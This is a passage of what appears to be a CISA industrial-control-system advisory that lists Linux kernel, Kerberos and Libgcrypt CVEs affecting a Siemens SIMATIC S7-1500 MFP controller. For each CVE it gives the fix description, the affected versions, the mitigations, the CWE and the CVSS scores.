<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31671</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: xfrm_user: fix info leak in build_report() struct xfrm_user_report is a __u8 proto field followed by a struct xfrm_selector which means there is three "empty" bytes of padding, but the padding is never zeroed before copying to userspace. Fix that up by zeroing the structure before setting individual member variables.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31671">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31674</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ip6t_rt: reject oversized addrnr in rt_mt6_check() Reject rt match rules whose addrnr exceeds IP6T_RT_HOPS. rt_mt6() expects addrnr to stay within the bounds of rtinfo-&gt;addrs[]. Validate addrnr during rule installation so malformed rules are rejected before the match logic can use an out-of-range value.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31674">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31680</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: ipv6: flowlabel: defer exclusive option free until RCU teardown `ip6fl_seq_show()` walks the global flowlabel hash under the seq-file RCU read-side lock and prints `fl-&gt;opt-&gt;opt_nflen` when an option block is present. Exclusive flowlabels currently free `fl-&gt;opt` as soon as `fl-&gt;users` drops to zero in `fl_release()`. However, the surrounding `struct ip6_flowlabel` remains visible in the global hash table until later garbage collection removes it and `fl_free_rcu()` finally tears it down. A concurrent `/proc/net/ip6_flowlabel` reader can therefore race that early `kfree()` and dereference freed option state, triggering a crash in `ip6fl_seq_show()`. Fix this by keeping `fl-&gt;opt` alive until `fl_free_rcu()`. That matches the lifetime already required for the enclosing flowlabel while readers can still reach it under RCU.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31680">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31682</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bridge: br_nd_send: linearize skb before parsing ND options br_nd_send() parses neighbour discovery options from ns-&gt;opt[] and assumes that these options are in the linear part of request. Its callers only guarantee that the ICMPv6 header and target address are available, so the option area can still be non-linear. Parsing ns-&gt;opt[] in that case can access data past the linear buffer. Linearize request before option parsing and derive ns from the linear network header.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31682">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.1</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31737</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: ftgmac100: fix ring allocation unwind on open failure ftgmac100_alloc_rings() allocates rx_skbs, tx_skbs, rxdes, txdes, and rx_scratch in stages. On intermediate failures it returned -ENOMEM directly, leaking resources allocated earlier in the function. Rework the failure path to use staged local unwind labels and free allocated resources in reverse order before returning -ENOMEM. This matches common netdev allocation cleanup style.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31737">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31752</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bridge: br_nd_send: validate ND option lengths br_nd_send() walks ND options according to option-provided lengths. A malformed option can make the parser advance beyond the computed option span or use a too-short source LLADDR option payload. Validate option lengths against the remaining NS option area before advancing, and only read source LLADDR when the option is large enough for an Ethernet address.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31752">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/805.html">CWE-805 Buffer Access with Incorrect Length Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31761</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: iio: gyro: mpu3050: Move iio_device_register() to correct location iio_device_register() should be at the end of the probe function to prevent race conditions. Place iio_device_register() at the end of the probe function and place iio_device_unregister() accordingly.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31761">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/367.html">CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31768</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: iio: adc: ti-adc161s626: use DMA-safe memory for spi_read() Add a DMA-safe buffer and use it for spi_read() instead of a stack memory. All SPI buffers must be DMA-safe. Since we only need up to 3 bytes, we just use a u8[] instead of __be16 and __be32 and change the conversion functions appropriately.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31768">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-40355</a></h3>
<div class="csaf-accordion-content">
<p>In MIT Kerberos 5 (aka krb5) before 1.22.3, there is a NULL pointer dereference if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, causing the process to terminate in parse_nego_message.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-40355">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-41989</a></h3>
<div class="csaf-accordion-content">
<p>Libgcrypt before 1.12.2 sometimes allows a heap-based buffer overflow and denial of service via crafted ECDH ciphertext to gcry_pk_decrypt.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-41989">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43011</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/x25: Fix potential double free of skb When alloc_skb fails in x25_queue_rx_frame it calls kfree_skb(skb) at line 48 and returns 1 (error). This error propagates back through the call chain: x25_queue_rx_frame returns 1 | v x25_state3_machine receives the return value 1 and takes the else branch at line 278, setting queued=0 and returning 0 | v x25_process_rx_frame returns queued=0 | v x25_backlog_rcv at line 452 sees queued=0 and calls kfree_skb(skb) again This would free the same skb twice. Looking at x25_backlog_rcv: net/x25/x25_in.c:x25_backlog_rcv() { ... queued = x25_process_rx_frame(sk, skb); ... if (!queued) kfree_skb(skb); }</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43011">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
